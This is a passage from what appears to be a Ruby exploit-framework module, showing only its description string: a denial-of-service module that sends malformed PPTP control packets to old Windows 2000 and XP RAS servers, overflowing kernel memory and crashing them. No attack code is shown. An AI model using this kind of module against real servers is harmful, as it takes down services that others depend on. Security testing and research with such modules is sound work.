'Description' => %q{  
This module exploits a kernel based overflow when sending abnormal PPTP Control Data  
packets to Microsoft Windows 2000 SP0-3 and XP SP0-1 based PPTP RAS servers  
(Remote Access Services). Kernel memory is overwritten resulting in a BSOD.  
Code execution may be possible however this module is only a DoS.
